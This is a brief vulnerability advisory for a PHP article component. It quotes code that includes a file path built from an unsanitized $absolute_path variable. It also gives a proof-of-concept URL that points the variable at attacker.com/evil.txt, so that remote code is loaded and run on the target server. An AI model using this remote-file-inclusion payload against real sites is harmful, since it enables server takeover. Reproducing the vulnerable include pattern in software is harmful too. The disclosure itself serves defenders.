---------------------------------------------------------------------------------
 
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : New Article Component (com_articles.php)

Version : 1.0

---------------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~

In folder components we found vulnerability script com_articles.php.

-----------------------com_articles.php---------------------------------
<?php

include($absolute_path.'/language/'.$lang.'/lang_articles.php');

require("classes/html/com_articles.php");
$articles = new articles();

Variables $absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
 
Proof Of Concept:
~~~~~~~~~~~~~~~~

http://[target]/[path]/components/com_articles.php?absolute_path=http://attacker.com/evil.txt?

---------------------------------------------------------------------------------

Solution:
~~~~~~~~
 
sanitize variabel $absolute_path.
